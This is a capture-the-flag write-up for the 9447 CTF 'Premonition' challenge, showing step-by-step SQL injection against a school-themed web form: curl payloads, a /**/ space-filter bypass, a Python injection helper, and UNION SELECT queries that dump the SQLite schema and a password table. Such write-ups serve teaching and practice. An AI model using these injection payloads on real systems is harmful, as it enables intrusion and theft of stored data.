Outils pour utilisateurs

Outils du site


ctf:public:9447:premonition

Premonition - Writeup by Maxima

Challenge

There's been some weird occurrences going on at our school. Teachers answer questions as though they knew the answer in advance, test results being handed out before the test, and now a weird web form giving info about us. Can you find out what weird information is on it?

Find the page at http://premonition-p8l05mpz.9447.plumbing:9447

Description

Here is how the website looks:

We have a form with 3 fields:

  • Field: First name, Last name, Score, Class, DOB
  • Comparison: =, >, <
  • Value

The website allows us to request data from the server. For instance, we can ask for all students with a score higher than 80.

Solution

Requests are made via AJAX and they give back JSON.

$ curl 'http://premonition-p8l05mpz.9447.plumbing:9447/score' -d 'score=94&ineq=>'
[["Xavier", "Bohm", 95.0, "5A"], ["Nella", "Avila", 95.0, "5A"], ["Beulah", "Kaba", 95.0, "5K"], ["Edwina", "June", 95.0, "5K"], ["Jonell", "Dark", 95.0, "5J"], ["Awilda", "Oler", 95.0, "5D"]]

For convenience, we set:

$ url='http://premonition-p8l05mpz.9447.plumbing:9447/score'

We first check for SQL injection. We quickly get one:

$ curl "$url" -d 'score=0&ineq=>"' 
{"user": "sqliteadmin@localhost", "error": "unrecognized token: \"\" ?\""}

We now know that the backend is sqlite. We can try a few other things, but we are still stuck with the error « unrecognized token ». I finally guessed that the request is:

sql = 'SELECT * FROM some_table WHERE score %s (?)' % ineq
con.execute(sql, score)

Then we try to inject:

$ curl "$url" -d 'score=94&ineq=>(?)--'
[["Xavier", "Bohm", 95.0, "5A"], ["Nella", "Avila", 95.0, "5A"], ["Beulah", "Kaba", 95.0, "5K"], ["Edwina", "June", 95.0, "5K"], ["Jonell", "Dark", 95.0, "5J"], ["Awilda", "Oler", 95.0, "5D"]]

(?) is replaced by the score and -- starts a comment so that the end of the query is ignored. It works!

From now, we try to use UNION SELECT to dump the database. We try:

$ curl "$url" -d 'score=1000&ineq=>(?) UNION SELECT 1--'
{"user": "sqliteadmin@localhost", "error": "near \"UNIONSELECT1\": syntax error"}

It looks like spaces are ignored. We try to replace them by the usual /**/ and it works. I wrote a simple python script to make the exploitation easier:

def inject(sql):
    sql = sql.replace(' ', '/**/')
    response = requests.post('http://premonition-p8l05mpz.9447.plumbing:9447/score',
                             data={'score': '1000', 'ineq': sql})
    return response.text

We now try to get the number of selected columns:

print(inject('> (?) UNION SELECT 1 --'))                                        
print(inject('> (?) UNION SELECT 1,2 --'))                                      
print(inject('> (?) UNION SELECT 1,2,3 --'))                                    
print(inject('> (?) UNION SELECT 1,2,3,4 --'))  

The last line gives: "[[1, 2, 3, 4]]" so we know that 4 columns are selected. We know get the schema:

print(inject('> (?) UNION SELECT name, sql, 0, 0 FROM sqlite_master --')) 
[["s3ekr17_passwords", "CREATE TABLE s3ekr17_passwords(\n\tuserid real,\n\tpassword text\n)", 0, 0], ["students", "CREATE TABLE students(\n\tuserid real,\n\tfirstname text,\n\tlastname text,\n\tscore real,\n\tteacher real,\n\tclass text,\n\tdate_birth date,\n\tdate_death date\n)", 0, 0]]

Now we can get the flag:

print(inject('> (?) UNION SELECT userid, password, 0, 0 FROM s3ekr17_passwords --'))
[[0.0, "9", 0, 0], [1.0, "4", 0, 0], [2.0, "4", 0, 0], [3.0, "7", 0, 0], [4.0, "{", 0, 0], [5.0, "u", 0, 0], [6.0, "S", 0, 0], [7.0, "e", 0, 0], [8.0, "r", 0, 0], [9.0, "A", 0, 0], [10.0, "g", 0, 0], [11.0, "e", 0, 0], [12.0, "n", 0, 0], [13.0, "T", 0, 0], [14.0, "s", 0, 0], [15.0, "_", 0, 0], [16.0, "a", 0, 0], [17.0, "N", 0, 0], [18.0, "d", 0, 0], [19.0, "_", 0, 0], [20.0, "s", 0, 0], [21.0, "p", 0, 0], [22.0, "a", 0, 0], [23.0, "C", 0, 0], [24.0, "e", 0, 0], [25.0, "s", 0, 0], [26.0, "_", 0, 0], [27.0, "a", 0, 0], [28.0, "R", 0, 0], [29.0, "e", 0, 0], [30.0, "_", 0, 0], [31.0, "p", 0, 0], [32.0, "e", 0, 0], [33.0, "a", 0, 0], [34.0, "s", 0, 0], [35.0, "A", 0, 0], [36.0, "n", 0, 0], [37.0, "t", 0, 0], [38.0, "_", 0, 0], [39.0, "R", 0, 0], [40.0, "a", 0, 0], [41.0, "c", 0, 0], [42.0, "E", 0, 0], [43.0, "s", 0, 0], [44.0, "}", 0, 0]]

Oh, ok, that's funny. The characters of the flag are each in a different line:

data = inject('> (?) UNION SELECT userid, password, 0, 0 FROM s3ekr17_passwords ORDER BY userid --')
print(''.join(line[1] for line in json.loads(data)))

And we get the flag: 9447{uSerAgenTs_aNd_spaCes_aRe_peasAnt_RacEs}

Author

Maxime Arthaud 2015/12/01 13:28

ctf/public/9447/premonition.txt · Dernière modification: 2016/10/15 20:20 par arthaum